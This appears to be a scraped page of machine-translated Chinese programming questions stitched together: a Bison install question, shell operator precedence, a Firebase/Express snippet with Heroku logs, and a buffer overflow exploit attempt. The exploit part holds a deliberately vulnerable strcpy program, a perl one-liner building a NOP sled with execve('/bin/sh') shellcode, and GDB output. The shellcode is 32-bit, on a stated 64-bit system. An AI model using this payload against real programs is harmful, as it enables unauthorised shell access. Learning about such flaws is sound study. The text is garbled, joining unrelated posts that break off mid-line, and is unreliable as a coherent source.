我正在尝试在我的macbook上安装Thrift.否则我收到一个错误:
configure:error:必须在系统上安装Bison 2.5或更高版本!
所以试图在我的操作系统上安装Bison,但我没有在互联网上找到教程.有谁能告诉我如何在我的系统上安装Bison?
亲切的问候
我目前正在尝试使用BNF和LL解析器在C中重新编写shell.否则,我需要知道'|'的shell运算符的优先级是什么 ,"<<",",","<",">>",">","&",";" ?
有人能提供给我吗?谢谢
我正在尝试使用本教程执行缓冲区溢出漏洞.我的帖子中的所有内容都将直接在GDB中执行.
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
这是我想利用缓冲区溢出的代码.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
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我目前正在研究Linux mint 18,我有64位处理器.鉴于我有64位架构.每个地址都是8个字节.现在让我们想象一下我当前的stakframe.
| buff [256] |
| RBP |
| 保存RIP |
我的目标是用"nop sled"的地址覆盖"SAVE RIP".鉴于我是64位架构.我打算用256 + 8字符填充变量buff.8个字符将用于覆盖RBP指针.我要用perl覆盖.
perl -e 'print "\x90" x 264'
然后使用我遵循的教程中提供的shellcode
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我减去了26因为shellcode长度为26.
现在.我要找出使用GDB的nop雪橇的地址是什么.
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov …
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这是我的代码:
var admin = require("firebase-admin");
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
var serviceAccount = require("./serviceAccountKey.json");
app.use(bodyParser.urlencoded({ extended: true }));
console.log("HELLO WORLD");
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和显示
2017-05-18T13:31:12.548867+00:00 app[api]: Release v15 created by user mail@mail.com
2017-05-18T13:31:12.548867+00:00 app[api]: Deploy a13cfedb by user mail@mail.com
2017-05-18T13:30:56.000000+00:00 app[api]: Build succeeded
2017-05-18T13:35:10.000000+00:00 app[api]: Build started by user mail@mail.com
2017-05-18T13:35:26.442732+00:00 app[api]: Deploy 2beqer61 by user mail@mail.com
2017-05-18T13:35:26.442732+00:00 app[api]: Release v16 created by user mail@mail.com
2017-05-18T13:35:10.000000+00:00 app[api]: Build succeeded
2017-05-18T13:57:04.000000+00:00 app[api]: Build started by …
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